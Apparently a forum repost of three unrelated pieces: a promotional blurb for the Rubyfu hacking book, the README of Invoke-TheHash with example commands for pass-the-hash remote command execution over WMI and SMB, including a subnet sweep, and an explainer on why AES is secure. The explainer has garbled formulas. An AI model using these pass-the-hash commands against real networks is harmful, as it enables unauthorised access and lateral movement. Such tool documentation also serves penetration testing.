RubyFu Rubyfu, where Ruby goes evil! This book is a great collection of ideas, tricks and skills that could be useful for Hackers. It's a unique extraction reference, summarizes a lot of research and experience in order to achieve your w00t in shortest and smartest way. Rubyfu is where you'll find plug-n-hack code, Rubyfu is a book to use not only to read, it's where ruby goes evil. Who should read this book? Ideally, Hackers!; Those who have enough experience to hack our world and have at least basics in Ruby programming language. To get the best benefits of the book, open Rubyfu.net and pin its browser tab; Use irb/pry as interpreter to run the code or run it as script; Enhance the code to fit your needs and yeah, tweet the code and its output to @Rubyfu to share it with our awesome community. Organization of the book Module 0x0 | Introduction Module 0x0 is just a smooth start for you, whether you're a reader, writer, hacker or someone came to say hi. In this module you'll find a great start for you as a contributor, where all kinds of contributions are welcome starting from proofreading ending to topic writing. Module 0x1 | Basic Ruby Kung Fu Module 0x1 is an awesome collection of the most commonly needed String manipulation, extraction and conversion. Dealing with real cases that you might face during your hack. Dealing with encoding and data conversion could be trivial or complex topic and here we don't care, we'll solve it. Module 0x2 | System Kung Fu Module 0x2 digs more in system hacking, where the system command, file manipulation, cryptography and generating the common hashes are needed. Getting bind and reverse shell with really simple ways requires skill you need no doubt. Almost all Linux systems are shipped-up with ruby and if it doesn't?, no problem we'll get rid of it. Module 0x3 | Network Kung Fu Module 0x3 dives deeper in the network sockets, protocols, packet manipulation, more service enumeration ways and gives us more hacky and awesome code to get the job done. Working with network protocols need a deeper knowledge of how these protocols work in order to exchange understandable data and yeah, we'll figure it out right here. Module 0x4 | Web Kung Fu Module 0x4 web is the most common place to share information, however, it's a more delicious place to hack. Dealing with web known with its uniqueness for dealing with many and many technologies in one page only. Here we'll know how to deal with GET, POST requests, web services, databases, APIs and manipulating the browser to make it our soldier. Module 0x5 | Exploitation Kung Fu Module 0x5 whatsoever the vulnerability was, remote (FTP, IMAP, SMTP, etc.) or local (file format, local system) you'll need to know how to build fuzzers and skeleton exploit for that. If you get there you'll need a simple, clean and stable way to build your exploit. Here you'll know how to build your fuzzer, exploit and porting your exploit to Metasploit and how to write your own Metasploit modules too. Module 0x6 | Forensic Kung Fu Module 0x6 whoever you're, good or bad guy you'll need forensic skills in your hack and/or investigation. Here you'll learn more how to deal with registry extracting browsers' information and much more. Link: https://www.gitbook.com/book/rubyfu/rubyfu/details

Invoke-TheHash Invoke-TheHash contains PowerShell functions for performing NTLMv2 pass the hash WMI and SMB command execution. WMI and SMB services are accessed through .NET TCPClient connections. Local administrator privilege is not required client-side. Requirements Minimum PowerShell 2.0 Import Import-Module ./Invoke-TheHash.psd1 or . ./Invoke-WMIExec.ps1 . ./Invoke-SMBExec.ps1 . ./Invoke-TheHash.ps1 Functions Invoke-WMIExec Invoke-SMBExec Invoke-TheHash ConvertTo-TargetList Invoke-WMIExec WMI command execution function. Parameters: Target - Hostname or IP address of target. Username - Username to use for authentication. Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. Hash - NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target. Sleep - Default = 10 Milliseconds: Sets the function's Start-Sleep values in milliseconds. Example: Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose Screenshot: Invoke-SMBExec SMB (PsExec) command execution function supporting SMB1, SMB2, and SMB signing. Parameters: Target - Hostname or IP address of target. Username - Username to use for authentication. Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. Hash - NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to SCM on the target. CommandCOMSPEC - Default = Enabled: Prepend %COMSPEC% /C to Command. Service - Default = 20 Character Random: Name of the service to create and delete on the target. SMB1 - (Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the target. Sleep - Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. Example: Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose Screenshot: Invoke-TheHash Function for running Invoke-WMIExec and Invoke-SMBExec against multiple targets. Parameters: Type - Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec. Targets - List of hostnames, IP addresses, or CIDR notation for targets. TargetsExclude - List of hostnames and/or IP addresses to exclude form the list or targets. PortCheckDisable - (Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up he function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection. PortCheckTimeout - Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check. Username - Username to use for authentication. Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. Hash - NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI or SCM on the target. CommandCOMSPEC - Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command. Service - Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target. SMB1 - (Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the target. Sleep - Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. Example: Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 Screenshot: ConvertTo-TargetList Converts Invoke-TheHash output to an array that contains only targets discovered to have Invoke-WMIExec or Invoke-SMBExec access. The output from this function can be fed back into the Targets parameter of Invoke-TheHash. Sursa: https://github.com/Kevin-Robertson/Invoke-TheHash

Why AES Is Secure DISCLAIMER: I am not a cryptographer by profession, and may have made some mistakes or oversimplification in the content of this article. The Advanced Encryption Standard, otherwise known as Rijndael (which was its original name), is one of the most widely used ciphers for the encryption of data. It’s been approved by the US government to protect classified data. In this article, I’ll explain how AES works and why it’s secure. This article is written for anyone who has knowledge of pre-calculus math and computer knowledge. No prior knowledge of cryptography is required. Galois field theory AES makes extensive use of Galois field theory, which I’m going to give a very brief introduction to. For more details see Galois Field in Cryptography. A Galois field is a field containing a finite number of elements. A field is a set on which the operations of addition, multiplication, subtraction and division meet certain rules. We’ll refer to these rules as they come in useful – don’t worry too much about them. There’s the field of real numbers and the field of rational numbers. What makes a Galois field different from these fields, is that it contains a finite number of elements (which is why it’s also called a finite field). On the other hand, there is an infinite number of real numbers and rational numbers. A Galois field is denoted as GF(pn)GF(pn) where pp is a prime number and nn is a positive integer. We call pnpn the order of the field. The elements of a Galois field are the set of elements {0,1,2,…,pn−1}{0,1,2,…,pn−1}. Galois field arithmetic Firstly, let’s take a look at GF(p)GF(p). Addition and multiplication is done similarly to integers, followed by modulo pp (this is just finding the remainder after dividing by pp). For example, in GF(5)GF(5), 4+3=74+3=7 is reduced to 22, and 4×2=84×2=8 is reduced to 33. Elements of GF(pn)GF(pn) can be represented as polynomials of degree less than nn. For example, in GF(33)GF(33), the polynomial x2+1x2+1 would represent 10 and the polynomial 2x2+x+12x2+x+1would represent 22, with x=3x=3. In addition, we use modulo 33 on each of the coefficients. Adding up the two polynomials gives us 3x2+x+23x2+x+2, which is reduced to x+2x+2, represented as 5. However, things get more complicated when it comes to multiplication. Take the polynomials 2x2+12x2+1 and x+1x+1. Multiplying these two would give us (2x2+1)(x+1)=2x3+2x2+x+1(2x2+1)(x+1)=2x3+2x2+x+1. At this point, we’ve exceeded the order of the field! The way to resolve this is to modulo a suitable polynomial, by long division. There are certain rules for selecting this polynomial, which I will not discuss. Use of Galois field theory in AES In AES, where we want to manipulate bytes, GF(28)GF(28) is used. GF(28)GF(28) has a set of elements which represent all possible values of a byte. The fact that the addition and multiplication operations are closed (that is, applying addition and multiplication to any two elements will always return an element that is in the set of elements of that field) makes the Galois field very convenient for manipulating bytes, as operations can be done on any two bytes to get a new byte. It also turns out that addition of two elements in GF(28)GF(28) is simply XOR of both elements – this means that addition is efficient on hardware! On the other hand, multiplication is more complex. AES uses the polynomial x8+x4+x3+x+1x8+x4+x3+x+1, and most implementations will use a lookup table instead of computing the polynomial for the sake of efficiency. Overview of AES Now that we’re done with basic Galois field theory, it’s time to take a look at how AES is implemented. AES can be represented by two functions, E(k,p)E(k,p) and D(k,c)D(k,c) where kk is the key, pp is the plaintext and cc is the ciphertext. The former represents encryption, and the latter represents decryption. A valid encryption scheme would ensure that D(k,E(k,p))=pD(k,E(k,p))=p for any kk and pp. AES has 3 key sizes: 128, 192 and 256 bits. It is known as a block cipher; that means it encrypts plaintext in seperate blocks of fixed size, as opposed to a stream cipher which encrypts plaintext bit by bit. Its block size is 128 bits. Credits to mikeazo’s answer on Crypto StackExchange for the image. AES takes in 16 bytes, b0,b1,…,b15b0,b1,…,b15, which are arranged in a matrix from top to bottom, left to right: ⎡⎣⎢⎢⎢⎢b0b1b2b3b4b5b6b7b8b9b10b11b12b13b14b15⎤⎦⎥⎥⎥⎥[b0b4b8b12b1b5b9b13b2b6b10b14b3b7b11b15] AES can be broken down into 4 steps: SubBytes ShiftRows MixColumns AddRoundKey These 4 steps make up a round. Before the first round, AddRoundKey is performed, and in the last round, MixColumns is omitted. The number of rounds for AES is based on the key size: AES-128: 128 bit key, 10 rounds AES-192: 192 bit key, 12 rounds AES-256: 256 bit key, 14 rounds Substitution Permutation Network AES has a structure known as a substitution permutation network. A substitution-permutation network (SPN) takes in plaintext and keys as inputs. Each round looks like this: Combination of the plaintext with the round key (represented by ⊕⊕) Substitution of small blocks of bits (referred to as a S-box, or a substitution box) Permutation of all the bits (referred to as a P-box, or a permutation box) The combination of the plaintext with the round key is often XOR, as XOR is easily invertible (A⊕(A⊕B)=BA⊕(A⊕B)=B, as A⊕A=0A⊕A=0 and XORing anything against 0 does not change the result.) Decryption, hence, is merely XORing against the corresponding round key. At the same time, the S-box and P-box should also be invertible. This means that decryption for a SPN is merely the reverse process. A good S-box should offer various properties. Firstly, for it to be invertible, the substitution should be one-to-one. This means that the length of the output should be the same as the length of the input. This allows for decryption. Secondly, changing a single input bit should change about half of the output bits. This is known as the avalanche effect. A good P-box should ensure that the output bits of any S-box is distributed across the permutation. The reason for doing this is covered in the next section. By itself, the S-box is a substitution cipher, and the P-box is a transposition cipher. Both ciphers hardly offer any cryptographic strength, as they reveal statistical properties. However, when combined together, they provide powerful cryptographic strength. Confusion and Diffusion Confusion and diffusion are key properties of a secure cipher (as identified by Claude Shannon, considered the father of information theory). Confusion refers to the property that each character of the plaintext depends on several parts of the key, and diffusion refers to the property that when we change a character of the plaintext, then several characters of the ciphertext should change. Firstly, if a single bit is changed in the plaintext, an S-Box changes several bits. The P-Box then distributes these changed bits across. With several rounds, the ciphertext has changed completely. This satisfies the property of diffusion. Other than having a completely different ciphertext, this also prevents an attacker from modifying the ciphertext in order to get a desired plaintext, as this would change the plaintext drastically. Secondly, the SPN also exhibits confusion (under the assumption that changing one bit of the key changes several round keys – the SPN does not include derivation of the round keys). Every change in a round key causes a change in the input of the S-Boxes. As per the property of diffusion, the ciphertext would be drastically altered. This means that each of the output bits would depend on several parts of the round keys, which in turn depend on the key. This satisfies the property of confusion. The power of the SPN lies in how it allows for both properties to be exhibited, despite being so simple and efficient. Key Schedule Each round has a certain key of its own, derived from the key given. The algorithm to obtain the round keys is called the key schedule. With a larger key size, AES has a larger number of rounds. The reason is that given more key bits, there is a need for more rounds so as to ensure that there is confusion. This is why the key schedule differs depending on the key size. The key schedule derives the first round key from the master key, the second from the first, and so on until all round keys required have been generated. I will not elaborate much on how the key schedule works. The main point to note is that the key schedule consists of shifting bytes and XOR operations. The key schedule is invertible, allowing an adversary to derive the master key given any round key. A question you may ask is, why not use a cryptographically secure pseudorandom number generator? One could seed the generator with the key, providing a sequence of output round keys that are hard to predict and increasing the difficulty of obtaining the master key from the key schedule. Simply put, a simpler key schedule provides efficiency but comes at the cost of a bit of security. However, practically speaking, there is not much need to make the key schedule non-invertible. Despite the weakness of the key schedule, it satisfies the property that changing one bit of the key changes several round keys, which was a requirement for a SPN to be secure. For more details, you can read Thomas Pornin’s answer on Crypto StackExchange on why a simpler key schedule is used, and poncho’s answer on why making the key schedule non-invertible will not add much security. SubBytes A fixed S-box is used, taking in a byte as input and also producing a byte.The S-box of AES is calculated from the multiplicative inverse over GF(28)GF(28). The presence of multiplicative inverse for all elements is one of the properties that fields satisfy. A multiplicative inverse for a number xx is a number which when multiplied by xx gives the multiplicative identity 11. The multiplicative identity 11 satisfies the property that x×1=xx×1=x. In the field of rational numbers, we call the multiplicative inverse the reciprocal, or 1x1x. In a Galois field, there is a more complex procedure used in order to find the multiplicative inverse, known as the Extended Euclidean Algorithm. It turns out that the multiplicative inverses have good non-linearity properties, adding security against attacks which recover the key by exploiting linearity in the S-box. In addition to the multiplicative inverses, an affine transformation is used which I will not elaborate on. This allows it to be resistant to linear and differential cryptanalysis, as well as algebraic attacks. For more details on the design of the S-box, look at Rijndael S-box. ShiftRows and MixColumns These two operations are what permutates the bits (techincally speaking, MixColumnsdoes more than just permutations). ShiftRows just rotates each row by varying number of bytes. The first row is not rotated, the second row is rotated to the left by one byte, the third row is rotated to the left by two bytes, etc. This permutates the order of the outputs from the S-box row-wise. MixColumns performs a transformation on each column of the matrix. It multiplies the matrix of bytes with: ⎡⎣⎢⎢⎢⎢2113321113211132⎤⎦⎥⎥⎥⎥[2311123111233112] in GF(28)GF(28). Matrix multiplication is composed of several multiplication and addition operations. This transforms the bytes of every column. Hence, MixColumns permutates the bits column-wise. This matrix is a Maximum Distance Seperable matrix. The power of MDS matrices lie in the fact that they have perfect diffusion. Changing kk of the input bytes would change at least m−k+1m−k+1 of the output bytes, where m×nm×n is the size of the matrix. Combining both operations together, you get a very powerful P-box. As part of a SPN, this P-box helps to ensure diffusion, and does it very well. It propagates changes in the plaintext throughout, making differential cryptanalysis tough. AddRoundKey This is just a XOR operation as described in the section on SPNs. Conclusions on AES AES remains a very strong cipher. Bruce Schneler, a developer of Twofish, has written in 2000: I believe that within the next five years someone will discover an academic attack against Rijndael. I do not believe that anyone will ever discover an attack that will allow someone to read Rijndael traffic. So while I have serious academic reservations about Rijndael, I do not have any engineering reservations about Rijndael. Since then, academic attacks against AES have been developed. But many of them involve a smaller number of rounds or are impractical. The best key-recovery attacks on full AES so far is a biclique attack which is merely faster than brute force by at most a factor of 4. Furthermore, the data storage required works out to trillions of terabytes, far beyond the data stored on the planet. In addition to its strength, AES performs very quickly. SubBytes and multiplication in MixColumns can be replaced with a lookup table of 256 bytes. Its simplicity means that operations can be performed very fast, and is easily implemented on hardware. All of these properties are why Rijndael was chosen by NIST to become AES. If you want to know more about AES, take a look at A Stick Figure Guide to AES. If you would like to read more on the design of AES, take a look at The Design of Rijndael. If you want to learn more about why Rijndael was chosen over other candidates, take a look at this answer on StackExchange. You can view the history of changes made to this post at this website's GitHub repository. Sursa: https://wei2912.github.io/posts/crypto/why-aes-is-secure.html

Iti sustin motivarea.